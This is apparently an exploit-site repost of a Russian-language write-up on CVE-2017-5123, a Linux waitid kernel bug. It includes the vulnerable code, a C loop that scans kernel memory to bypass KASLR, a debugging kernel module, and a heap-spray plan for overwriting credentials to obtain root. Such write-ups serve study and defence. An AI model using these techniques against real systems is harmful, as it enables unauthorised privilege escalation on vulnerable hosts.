Sploitus

Exploit for CVE-2017-5123

kitploit · 2026-08-25

Exploit Code

MARKDOWN208 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-H1BANA-CVE-2017-5123
# CVE-2017-5123

## Обзор ошибки

Системный вызов Waitid в ядре Linux не проверял целевой адрес, используемый для записи. Это позволяло локальному пользователю с правами на запись в память ядра, что могло привести к повышению привилегий на устройстве или побегу из песочницы.

## Описание уязвимости

### Классификация уязвимости

  * Повышение привилегий
  * Побег из песочницы (chrome)



### Уязвимый код

`kernel/exit.c`

root@kitploit:~
    
    
    SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
            infop, int, options, struct rusage __user *, ru)
    {
        struct rusage r;
        struct waitid_info info = {.status = 0};
        long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
        int signo = 0;
    
        if (err > 0) {
            signo = SIGCHLD;
            err = 0;
            if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
                return -EFAULT;
        }
        if (!infop)
            return err;
    
        user_access_begin(); // по сути вызывает stac(), временно отключает SMAP
        unsafe_put_user(signo, &infop->si_signo, Efault); // <- отсутствует проверка access_ok() перед вызовом этой функции
        unsafe_put_user(0, &infop->si_errno, Efault);
        unsafe_put_user(info.cause, &infop->si_code, Efault);
        unsafe_put_user(info.pid, &infop->si_pid, Efault);
        unsafe_put_user(info.uid, &infop->si_uid, Efault);
        unsafe_put_user(info.status, &infop->si_status, Efault);
        user_access_end();  // по сути вызывает clac(), снова включает SMAP
        return err;
    Efault:
        user_access_end();
        return -EFAULT;
    }
    

Ошибка заключается в отсутствии проверки `access_ok()` перед вызовом `unsafe_put_user()`. В более ранних версиях ядра использовалась функция `put_user()`, которая включала вызов `access_ok()`.

root@kitploit:~
    
    
    put_user(x, void __user *ptr)
        if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
            return -EFAULT
        user_access_begin()
        *ptr = x
        user_access_end()
    

Используя `unsafe_put_user()`, программа избегает многократного включения/выключения SMAP в течение короткого времени из-за вызовов `user_access_begin()` / `user_access_end()`. Функция `access_ok()` проверяет валидность адреса `ptr`, гарантируя, что он принадлежит пользовательской памяти, предотвращая запись пользователя в память ядра. **Таким образом, если передать syscall waitid параметр infop, являющийся адресом ядра, будет вызвана эта ошибка.**

## Эксплуатация

Отсутствие проверки `access_ok()` позволяет передать адрес ядра в качестве параметра infop для waitid, после чего syscall перезапишет этот адрес, вызвав `unsafe_put_user()`. Ограничение заключается в том, что мы не можем контролировать, что будет записано по предоставленному адресу ядра. Используется 6 полей для записи: `signo`, нулевой байт, `info.cause`, `info.pid` (максимальное значение = 0x8000), `info.uid`, `info.status` (хотя тип int32, но значения >0, <256). Здесь наиболее полезным полем, вероятно, является нулевой байт. Его можно использовать для перезаписи `cred->euid` и `cred->uid`. Для этого необходимо знать адреса этих двух значений.

### Обход KASLR путем сканирования памяти

Согласно kernel.org, адрес «Kernel-space virtual memory» общий для всех процессов, начиная с `0xffff800000000000`, однако от `0xffff800000000000` до `0xffff87ffffffffff` находится «... guard hole, also reserved for hypervisor», поэтому мы начнем сканирование памяти с адреса `0xffff880000000000`. Стоит отметить, что сканирование возможно, потому что `unsafe_put_user()` не вызывает краш при обращении к недопустимым адресам. Это предотвращает DoS системы непривилегированными пользователями путём передачи неверных адресов.

root@kitploit:~
    
    
    for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
        pid = fork();
        if (pid > 0) 
        {
            if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
            {
                printf("[+] Found %p\n", i);
                break;
            }
        }
        else if (pid == 0)
            exit(0);
    }
    

![image](https://assets.kitploit.com/production/public/readmes/26164/4f69402da5fb830b90d7edfc42d483825119eb96e2f2c823d4405b301a6fd678.png)

Теперь, зная адрес кучи ядра, необходимо определить адрес структуры cred.

### Поиск адреса Cred с помощью heap spray

Хотя адрес кучи ядра известен, он может не быть началом кучи, поэтому точный адрес структуры Cred вычислить невозможно. В этом случае применяется техника heap spray.

  * Если создать много процессов, в памяти появится много структур cred, что упрощает предположение их адреса.
  * Эти процессы затем вызывают `geteuid()`; если возвращается 0, значит, процесс работает с правами root -> бинго.
  * Родительский процесс продолжает вызывать syscall `waitid()`, используя уязвимость, предполагая адрес структуры cred и перезаписывая `cred->uid` нулём.



Отладка для поиска адреса структуры cred дочерних процессов занимает много времени, поэтому я использовал готовый модуль для вывода адреса `cred->euid` через `printk()`.

root@kitploit:~
    
    
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/kernel.h>
    #include <linux/sched.h>
    #include <linux/fs.h>        // for basic filesystem
    #include <linux/proc_fs.h>    // for the proc filesystem
    #include <linux/seq_file.h>    // for sequence files
    
    static struct proc_dir_entry* jif_file;
    
    static int
    jif_show(struct seq_file *m, void *v)
    {
        return 0;
    }
    
    static int
    jif_open(struct inode *inode, struct file *file)
    {
         printk("EUID: %p\n", &current->cred->euid);
         return single_open(file, jif_show, NULL);
    }
    
    static const struct file_operations jif_fops = {
        .owner    = THIS_MODULE,
        .open    = jif_open,
        .read    = seq_read,
        .llseek    = seq_lseek,
        .release    = single_release,
    };
    
    static int __init
    jif_init(void)
    {
        jif_file = proc_create("jif", 0, NULL, &jif_fops);
    
        if (!jif_file) {
            return -ENOMEM;
        }
    
        return 0;
    }
    
    static void __exit
    jif_exit(void)
    {
        remove_proc_entry("jif", NULL);
    }
    
    module_init(jif_init);
    module_exit(jif_exit);
    
    MODULE_LICENSE("GPL");
    

![image](https://assets.kitploit.com/production/public/readmes/26164/95314f6a68ee0d931352d42530a5d7e56c1ccd3b830485bc8f02cd935291050c.png)

Я заметил, что есть адреса схожего вида; даже после перезагрузки смещение этих адресов остаётся похожим. Поэтому я решил выбрать один адрес и затем добавлять к нему pagesize в цикле, чтобы угадать адрес структуры cred.

![image](https://assets.kitploit.com/production/public/readmes/26164/6bc7196efe9dce36229ff0b4c14260b5e148d46a559af9526ef4dd589fa19ce8.png)

Видео демонстрации эксплуатации ![IMAGE ALT TEXT HERE](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

### Некоторые проблемы данного подхода к эксплуатации

  * Успех не гарантирован.
  * Для разных версий ядра, затронутых этой уязвимостью, эксплойт может не работать во всех версиях, поскольку в каждой версии ядра смещение EUID при spray разное. Чтобы PoC работал для всех версий, при поиске euid для обнуления я использую адрес вида `найденный адрес кучи + смещение`. Необходимо уменьшить смещение, чтобы оно подходило для большего числа версий. Однако это означает более длительное время атаки и повышает вероятность паники/краша ядра из-за возможной записи в другие важные структуры в куче.



## Затронутый диапазон

  * Затронутые версии: linux kernel версии 4.13 - 4.13.6
  * Коммит, в котором появилась ошибка (2017-05-21, v4.13-rc1)



## Исправление

  * Патч добавил проверку `access_ok()`
  * Коммит с исправлением



## Заключение

  * Ошибка может быть использована для повышения привилегий, возможно сочетание с побегом из песочницы Chrome. На момент обнаружения ошибки Chrome seccomp разрешал использование syscall waitid.



## Ссылки

  * Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!